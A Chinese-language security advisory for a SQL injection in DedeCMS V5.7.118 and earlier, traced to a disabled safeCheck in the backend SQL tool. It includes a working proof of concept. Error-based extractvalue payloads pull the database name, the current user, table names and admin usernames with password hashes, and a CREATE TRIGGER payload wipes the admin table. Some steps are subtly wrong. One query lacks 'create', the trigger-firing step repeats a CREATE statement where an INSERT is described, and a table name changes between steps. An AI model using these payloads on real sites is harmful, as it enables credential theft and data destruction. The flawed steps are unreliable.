首页 网络安全 正文

DedeCMS中的SQL 注入漏洞CVE-2026-51077

摘要

栋科技漏洞库关注到DedeCMS V5.7.118 及之前版本的 dede/sys_sql_query.php 的参数存在 SQL 注入漏洞,追踪为CVE-2026-51077。

DedeCMS是一款国产开源 CMS,采用 PHP+MySQL 开发,是国内早年普及率极高的建站程序,免费版面向个人站长、中小企业商用。

一、基本情况

DedeCMS拥有自研模板标签引擎,模板修改门槛低,大量现成免费模板可供使用;内置文章、图集、软件、产品、问答多种内容模型。

DedeCMS自带静态 HTML 生成、SEO 优化、多账号权限、附件上传管理等多种功能,因此零基础也可以快速搭建企业站、资讯门户。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

DedeCMS是开源内容管理系统的后台管理模块内置 SQL 命令执行工具,提供 SQL 命令行工具能力以方便管理员执行数据库维护操作。

栋科技漏洞库关注到DedeCMS V5.7.118 及之前版本的 dede/sys_sql_query.php 的参数存在 SQL 注入漏洞,追踪为CVE-2026-51077。

二、漏洞分析

CVE-2026-51077漏洞是DedeCMS相关版本中存在一个sys_sql_query.php sqlquery 参数 SQL 注入漏洞,漏洞的CVSS 3.X评分未知。

受影响版本中,DedeCMS V5.7.118 及之前版本的后台文件 dede/sys_sql_query.php 在 dopost=query 分支下接收 sqlquery 参数,

仅使用 preg_match 拦截 drop table/drop database 等关键字后即直接调用 DedeSqlite::ExecuteNoneQuery 执行,

dede/config.php 中将 $dsql->safeCheck 显式置为 FALSE

导致 include/dedesqlite.class.phpExecuteNoneQuery 内部的 CheckSql 安全检查被跳过,

GetError 再返回 mysqli 错误信息,

攻击者可在后台通过 create table ... select extractvalue(0x7e,...) 等语句

借助错误回显读取数据库名、当前用户、表前缀、admin 表用户名与密码哈希等敏感信息,

并可通过 CREATE TRIGGER+INSERT 触发 DELETE FROM 管理表等破坏性操作。

三、POC概念验证

(一)漏洞详情

存在漏洞接口:http://IP:Port/dede/sys_sql_query.php

注入点位于SQL查询参数中。

在后台管理系统(系统 -> SQL 命令行工具)中,使用以下命令查询数据库名称:

create table test2 as select extractvalue(1, concat(0x7e, (select database()), 0x7e));;

DedeCMS中的SQL 注入漏洞CVE-2026-51077

查询当前用户:

create table test2 as select extractvalue(1, concat(0x7e, (select current_user()), 0x7e));

DedeCMS中的SQL 注入漏洞CVE-2026-51077

查询当前表名。根据第一个完整表名,推断出表前缀为dede57118_。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

查询语句为:

create table test2 as select extractvalue(1,concat(0x7e,(select group_concat(table_name) from (select table_name from information_schema.tables where table_schema=database() limit 0,49) t),0x7e)) AS result;

DedeCMS中的SQL 注入漏洞CVE-2026-51077

查询管理表中的字段名称。完整表名为dedecms57118_admin。由于GPC过滤,表名转换为十六进制。查询是:

table test2 as select extractvalue(1,concat(0x7e,(select group_concat(column_name) from (select column_name from information_schema.columns where table_schema=database() and table_name=0x6465646535373131385f61646d696e limit 0,49) t),0x7e)) AS result;

DedeCMS中的SQL 注入漏洞CVE-2026-51077

查询用户名和密码:

create table test2 as select extractvalue(1,concat(0x7e,(select group_concat(uname,0x3a,pwd) from dede57118_admin limit 1),0x7e)) AS result;

DedeCMS中的SQL 注入漏洞CVE-2026-51077

复制数据删除操作:对于后续的环境恢复操作,我们在此处复制了管理员表。我们可以看到表dede57118_admin包含数据。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

创建一个名为“abc”的表作为触发器表:

Create table abc(id INT);

DedeCMS中的SQL 注入漏洞CVE-2026-51077

abc表是空的。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

在创建删除数据的触发器之前,请检查本地环境中的触发器状态。以下结果表明,您的本地环境中没有触发器:显示触发器;

DedeCMS中的SQL 注入漏洞CVE-2026-51077

创建触发器以从特定表中删除数据。触发器的功能是在将数据插入abc表时从dede57118_admin表中删除数据。触发器的结构是:

CREATE TRIGGER trg_test AFTER INSERT ON abc FOR EACH ROW BEGIN DELETE FROM dede57118_admin; END;

DedeCMS中的SQL 注入漏洞CVE-2026-51077

触发器创建成功

DedeCMS中的SQL 注入漏洞CVE-2026-51077

接下来,将数据插入abc表以执行触发器trg_test:CREATE table abc(id INT);

DedeCMS中的SQL 注入漏洞CVE-2026-51077

验证执行结果后,查询结果显示数据已成功从dede57118_admin表中删除,这表明漏洞已被成功利用。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

(二)漏洞原因分析

找到文件/dede/sys_sql_query.php

DedeCMS中的SQL 注入漏洞CVE-2026-51077

HTTP请求表示程序进入查询分支进行安全检查(不允许数据删除等操作)。

由于过滤不充分,此检查被绕过,允许数据删除操作继续进行。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

接下来,SQL语句执行阶段开始,相关代码如下:

DedeCMS中的SQL 注入漏洞CVE-2026-51077

代码分析表明,单个和多个SQL语句的执行逻辑是相同的。让我们以执行单个SQL语句为例来分析漏洞!

后端使用ExecuteNoneQuery函数执行SQL语句,该函数是位于/include/DedeSqlite.class.php文件中的DedeSqlite对象中的一种方法。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

导航到文件/include/dedesqlite.class.phpExecuteNoneQuery函数根据safeCheck的值确定是否执行安全检查。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

safeCheck变量的默认值为TRUE。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

但是,在/dede/config.php文件中,safeCheck变量更改为FALSE。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

/dede/config文件包含在/dede/sys_sql_query.php中,导致在执行安全检查之前将safeChech值更改为FALSE,从而阻止执行安全检查。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

DedeCMS中的SQL 注入漏洞CVE-2026-51077

接下来,调用mysqli_query函数来执行SQL语句。由于筛选不充分,执行了恶意SQL语句。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

然后调用GetError函数。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

GetError函数中调用mysqli_error以检索错误信息。

DedeCMS中的SQL 注入漏洞CVE-2026-51077

打印的错误消息表示存在可被利用来获取数据的漏洞!

DedeCMS中的SQL 注入漏洞CVE-2026-51077

四、影响范围

DedeCMS ≤ V5.7.118

五、修复建议

DedeCMS ≥ V5.8.1 night beta 12.27

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接